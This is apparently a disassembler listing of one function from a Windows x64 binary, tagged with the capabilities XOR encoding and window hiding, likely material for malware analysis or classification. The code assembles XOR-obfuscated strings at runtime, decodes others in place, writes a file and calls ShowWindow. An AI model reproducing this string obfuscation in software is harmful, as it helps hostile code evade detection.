Function at 0x1400584c0
Capabilities:
Encode data using xor
Hide graphical window

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x1402f7e80]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
xor r12d, r12d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rax
lea rcx, [rbp + 0x120]
call fcn.14005e300
nop
lea rcx, [rbp + 0xb0]
call fcn.140050740
nop
mov r8, rax
cmp qword [rax + 0x18], 7
jbe 0x140058560
mov r8, qword [rax]
mov rax, qword [rax + 0x10]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x120]
call fcn.14005ea00
nop
lea rcx, [rbp + 0xb0]
call fcn.140003c80
movdqa xmm0, xmmword [0x1402ce840]
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x58], reloc.WS2_32.dll_WSACleanup
lea rax, [rsp + 0x49]
mov r14, 0xffffffffffffffff
mov rcx, r14
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400585b0
movabs r15, 0x7fffffffffffffff
mov rax, r15
mov rdx, qword [rbp + 0x110]
sub rax, rdx
cmp rax, rcx
jb 0x140058e66
lea r9, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova r9, qword [rbp + 0x100]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x49]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x90]
call fcn.140027b80
nop
mov rdi, qword [rbp + 0xa0]
lea rbx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rbx, qword [rbp + 0x90]
call fcn.1401731a0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, [rbp - 0x40]
call fcn.140005120
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xf0]
call fcn.140006a60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x60], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0xf0], ecx
lea rax, [0x1402f7f38]
mov qword [rbp + 0xf8], rax
movaps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0xf0], xmm0
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x140058747
cmp eax, 1
setne bl
lea rcx, [rbp - 0x40]
call fcn.140003c80
nop
lea rcx, [rbp + 0x90]
call fcn.140003d00
test bl, bl
je 0x140058756
lea rcx, [rbp + 0x100]
call fcn.140003d00
nop
lea rax, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rbp + 0x120], rax
lea rcx, [rbp + 0x160]
call fcn.140003c80
lea rcx, [rbp + 0x140]
call fcn.140003d00
mov rcx, qword [rbp + 0x138]
test rcx, rcx
je 0x140058717
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140058717
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.140173d40
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
xor bl, bl
test ecx, ecx
jne 0x140058d13
jmp 0x1400586a1
mov dword [rsp + 0x40], r12d
mov cl, 0x2b
mov word [rsp + 0x70], 0x2b
movsx edi, cl
movzx eax, di
xor ax, 0x7d
mov word [rsp + 0x72], ax
movzx eax, di
xor ax, 0x5e
mov word [rsp + 0x74], ax
movzx ebx, di
xor bx, 0x47
mov word [rsp + 0x76], bx
movzx r10d, di
xor r10w, 0x45
mov word [rsp + 0x78], r10w
movzx r11d, di
xor r11w, 0x4e
mov word [rsp + 0x7a], r11w
movzx edx, di
xor dx, 0x59
mov word [rsp + 0x7c], dx
movzx r9d, di
xor r9w, 0x4a
mov word [rsp + 0x7e], r9w
movzx r8d, di
xor r8w, 0x49
mov word [rbp - 0x80], r8w
mov word [rbp - 0x7e], bx
mov word [rbp - 0x7c], r11w
movzx eax, di
xor ax, 0x6f
mov word [rbp - 0x7a], ax
mov word [rbp - 0x78], dx
movzx ecx, di
xor cx, 0x42
mov word [rbp - 0x76], cx
movzx eax, di
xor ax, 0x5d
mov word [rbp - 0x74], ax
mov word [rbp - 0x72], r11w
mov word [rbp - 0x70], dx
movzx eax, di
xor ax, 0x69
mov word [rbp - 0x6e], ax
mov word [rbp - 0x6c], bx
movzx eax, di
xor ax, 0x44
mov word [rbp - 0x6a], ax
movzx eax, di
xor ax, 0x48
mov word [rbp - 0x68], ax
movzx eax, di
xor ax, 0x40
mov word [rbp - 0x66], ax
mov word [rbp - 0x64], bx
mov word [rbp - 0x62], cx
movzx eax, di
xor ax, 0x58
mov word [rbp - 0x60], ax
movzx eax, di
xor ax, 0x5f
mov word [rbp - 0x5e], ax
xor di, 0x6e
mov word [rbp - 0x5c], di
mov word [rbp - 0x5a], r10w
mov word [rbp - 0x58], r9w
mov word [rbp - 0x56], r8w
mov word [rbp - 0x54], bx
mov word [rbp - 0x52], r11w
mov word [rbp - 0x50], r12w
lea rax, [rsp + 0x72]
mov qword [rbp + 0xf0], rax
mov cl, 0x25
mov word [rbp - 0x20], 0x25
movsx esi, cl
movzx edi, si
xor di, 0x76
mov word [rbp - 0x1e], di
movzx eax, si
xor ax, 0x7c
mov word [rbp - 0x1c], ax
mov word [rbp - 0x1a], di
movzx eax, si
xor ax, 0x71
mov word [rbp - 0x18], ax
movzx eax, si
xor ax, 0x60
mov word [rbp - 0x16], ax
movzx eax, si
xor ax, 0x68
mov word [rbp - 0x14], ax
movzx ebx, si
xor bx, 0x79
mov word [rbp - 0x12], bx
movzx r11d, si
xor r11w, 0x66
mov word [rbp - 0x10], r11w
movzx eax, si
xor ax, 0x50
mov word [rbp - 0xe], ax
movzx r9d, si
xor r9w, 0x57
mov word [rbp - 0xc], r9w
mov word [rbp - 0xa], r9w
movzx edx, si
xor dx, 0x40
mov word [rbp - 8], dx
movzx r10d, si
xor r10w, 0x4b
mov word [rbp - 6], r10w
movzx ecx, si
xor cx, 0x51
mov word [rbp - 4], cx
mov word [rbp - 2], r11w
movzx r8d, si
xor r8w, 0x4a
mov word [rbp], r8w
mov word [rbp + 2], r10w
mov word [rbp + 4], cx
mov word [rbp + 6], r9w
mov word [rbp + 8], r8w
movzx eax, si
xor ax, 0x49
mov word [rbp + 0xa], ax
mov word [rbp + 0xc], di
mov word [rbp + 0xe], dx
mov word [rbp + 0x10], cx
mov word [rbp + 0x12], bx
mov word [rbp + 0x14], r11w
mov word [rbp + 0x16], r8w
mov word [rbp + 0x18], r10w
mov word [rbp + 0x1a], cx
mov word [rbp + 0x1c], r9w
mov word [rbp + 0x1e], r8w
mov word [rbp + 0x20], ax
mov word [rbp + 0x22], bx
mov word [rbp + 0x24], r11w
movzx eax, si
xor ax, 0x6c
mov word [rbp + 0x26], ax
mov word [rbp + 0x28], bx
mov word [rbp + 0x2a], r11w
mov word [rbp + 0x2c], r8w
mov word [rbp + 0x2e], r10w
movzx eax, si
xor ax, 0x43
mov word [rbp + 0x30], ax
movzx eax, si
xor ax, 0x4c
mov word [rbp + 0x32], ax
xor si, 0x42
mov word [rbp + 0x34], si
mov word [rbp + 0x36], r12w
lea rax, [rbp - 0x1e]
mov qword [rsp + 0x60], rax
lea r8, [rsp + 0x40]
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x60]
call fcn.1400576c0
test al, al
je 0x140058e5b
mov dword [rsp + 0x40], r12d
mov cl, 0x63
mov word [rsp + 0x48], 0x63
movsx ecx, cl
movzx eax, cx
xor ax, 0x26
mov word [rsp + 0x4a], ax
movzx eax, cx
xor ax, 0xd
mov word [rsp + 0x4c], ax
movzx eax, cx
xor ax, 2
mov word [rsp + 0x4e], ax
movzx eax, cx
xor ax, 1
mov word [rsp + 0x50], ax
movzx eax, cx
xor ax, 0xf
mov word [rsp + 0x52], ax
movzx eax, cx
xor ax, 6
mov word [rsp + 0x54], ax
xor cx, 7
mov word [rsp + 0x56], cx
mov word [rsp + 0x58], r12w
lea rax, [rsp + 0x4a]
mov qword [rsp + 0x60], rax
lea rdx, [rbp - 0x20]
call fcn.140058e80
lea r9, [rax + 2]
lea rcx, [rax + 4]
mov r8d, 0x2b
nop word [rax + rax]
movsx edx, byte [rax]
xor word [rcx - 2], dx
movsx edx, byte [rax]
xor word [rcx], dx
lea rcx, [rcx + 4]
sub r8, 1
jne 0x140058a90
mov word [r9 + 0xac], r12w
mov qword [rbp + 0xf0], r9
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xf0]
call fcn.1400576c0
test al, al
je 0x140058e5b
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a0]
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [0x1402ce820]
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x58], reloc.WS2_32.dll_WSACleanup
lea rax, [rsp + 0x49]
inc r14
cmp byte [rax + r14], 0
jne 0x140058b02
mov rax, qword [rbp + 0x110]
sub r15, rax
cmp r15, r14
jb 0x140058e6c
lea r9, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova r9, qword [rbp + 0x100]
mov qword [rsp + 0x30], r14
lea rcx, [rsp + 0x49]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x40]
call fcn.140027b80
nop
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rdx, qword [rbp - 0x40]
lea rcx, [rbp + 0x1a0]
call fcn.1400221c0
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
lea rcx, [rbp - 0x40]
call fcn.140003d00
cmp qword [rbp + 0x228], 0
je 0x140058d2b
lea rdx, ds:[rsp + 0x60]
call fcn.140059090
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
mov byte [rax + 8], 0
lea rcx, [rbp + 0x1a0]
call fcn.1400040a0
lea rdx, [0x140004280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x1a0]
call fcn.140022120
mov edx, 5
mov rcx, qword [0x1402fa9b0]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0xb0]
call fcn.1400590b0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
mov byte [rax + 0x32], 0
call fcn.1400040a0
call fcn.140050710
nop
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0xf0]
lea rcx, str.exists
call fcn.1400061e0
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rbp + 0xb0]
call fcn.140059010
lea rdx, ds:[rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
xor byte [rax + 0x32], r8b
xor byte [rax + 0x33], r8b
xor byte [rax + 0x34], r8b
xor byte [rax + 0x35], r8b
xor byte [rax + 0x36], r8b
xor byte [rax + 0x37], r8b
xor byte [rax + 0x38], r8b
xor byte [rax + 0x39], r8b
xor byte [rax + 0x3a], r8b
xor byte [rax + 0x3b], r8b
xor byte [rax + 0x3c], r8b
xor byte [rax + 0x3d], r8b
mov byte [rax + 0x3e], 0
call fcn.1400040a0
lea rdx, [0x140004280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140050710
nop
nop dword [rax + rax]
call fcn.140050710
int3
call fcn.140004620
int3
call fcn.140004620
int3